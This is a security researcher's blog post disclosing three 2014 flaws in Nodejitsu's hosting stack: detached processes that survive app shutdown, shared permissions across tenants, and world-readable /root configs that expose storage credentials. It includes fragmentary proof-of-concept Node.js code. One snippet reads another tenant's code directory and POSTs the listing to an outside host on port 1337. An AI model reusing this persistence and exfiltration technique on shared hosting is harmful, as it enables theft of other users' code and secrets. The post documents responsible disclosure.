Nodejitsu security vulnerabilities

08 Apr 2014

Recently, I was looking at some of Nodejitsu code, namely solenoid and forza since I was planning to use forza in my pet project. My attention was drawn to a particular piece of code which had to deal with user permissions. Soon I realized that I should be able to leave my process running on the VM even after my application was stopped and execute my child processes with the same rights as all of the instrumentation. While investigating this particular bug, I noticed that some of their sensitive configuration files were readable to world.

Disclosure: I contributed significant amounts of code to projects mentioned here. For details on this, read Infrastructure at Nodejitsu.

Leaving a process running

The possibility of leaving a process running on a VM was caused by the fact that solenoid only killed the process it spawned, which was fine as long as user only spawned processes which remained attached to their parents.

However, thanks to detach option of child_process.spawn, I was able to spawn a process which called setsid and became a session leader. Killing parent of such a process doesn't affect it in any way. The code I used was:

var http = require('http');
var spawn = require('child_process').spawn;

http.createServer(function (req, res) {
  res.end('This is not the application you are looking for.\n');

spawn('node', ['child.js'], { detach: true });

Now, I had child.js running, and Nodejitsu stack wasn't able to kill it. Yay! Unfortunately, Nodejitsu architecture reuses slave servers. Thus, after some time my process was running alongside a different user's application. Moving on...

All instrumentation and user processes running with the same permissions

solenoid spawned all the processes under the same user account. This, and the possibility of leaving a process running under those permissions rendered me able to affect their instrumentation and user processes and access code and environment variables of the next application deployed to this server.

The code I used to verify this was as follows (that's the child.js which was spawned by app.js):

var fs = require('fs');
var http = require('http');

setInterval(function () {
  fs.readdir('/opt/run/snapshot/package', function (err, files) {
    var req = http.request({
      host: '',
      port: 1337,
      method: 'POST'

    req.on('error', function (err) {

      dir: (err && err.message) || files

}, 10000);

I started my exploit on enough hosts (with a simple jitsu apps start && jitsu apps stop loop) and soon I was able to confirm that it indeed worked.

Sensitive configuration files readable to world

Doing the course of my investigation, I noticed that their /root directory and files in it were readable to world. I took a peek and found .solenoidconf. Amongst some boring stuff like paths and node versions it also contained Nodejitsu's CloudFiles credentials. Nodejitsu use CloudFiles to store built application snapshots (so all of their users' code).

Possible impact of these vulnerabilities

Impact of these issues is quite significant. If I were a malicious attacker, I would be able to:

  • fetch, delete and change all of the snapshots
  • fetch and manipulate the code, kill user and instrumentation processes on all the hosts I was able to leave my exploit running on

Timeline and Nodejitsu response

Initial response of the Nodejitsu team was almost instantenous. Right after reporting the vulnerability I was on a call with Jarrett, one of their DevOps engineers.

(All times are UTC.)

  • March 10th, 04:39: request for a GPG key sent
  • March 10th, 04:51: GPG key is received and encrypted report is sent
  • March 13th, 03:02: a fix is committed
  • March 13th: the aforementioned fix is deployed together with a fix for /root permissions


Thanks to Charlie McConnell for great advice during the process and Ariƫn Holthuizen for reviewing this post.

Shameless self-plug

If you're interested in a professional security audit for your application, I work at YLD, an amazing consulting company. Don't hesitate to contact us!